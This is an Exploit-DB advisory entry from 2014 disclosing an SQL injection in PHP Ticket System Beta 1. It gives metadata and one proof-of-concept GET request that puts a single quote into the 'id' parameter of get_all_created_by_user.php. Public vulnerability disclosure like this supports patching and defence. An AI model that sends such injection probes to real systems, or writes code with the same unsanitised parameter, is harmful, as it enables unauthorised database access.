EXPLOITS

PHP Ticket System Beta 1 - 'get_all_created_by_user.php?id' SQL Injection

Author: HauntIT
type: webapps
platform: php
port: 80.0
date_added: 2014-02-28  
date_updated: 2014-03-03  
verified: 1  
codes: OSVDB-103893  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comBETA_1.zip  

raw file: 31971.txt  

# ==============================================================
# Title ...| PHP Ticket System SQL Injection
# Version .| BETA_1.zip
# Date ....| 27.02.2014
# Found ...| HauntIT Blog
# Home ....| http://sourceforge.net/projects/phpticketsystem/
# ==============================================================


# ==============================================================
# SQL Injection

---<request>---
GET /k/cms/beta/mods/tickets/data/get_all_created_by_user.php?id='mynameissqli&sort%5B0%5D%5Bfield%5D=undefined&sort%5B0%5D%5Bdir%5D=desc HTTP/1.1
Host: 10.149.14.62
---<request>---


# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/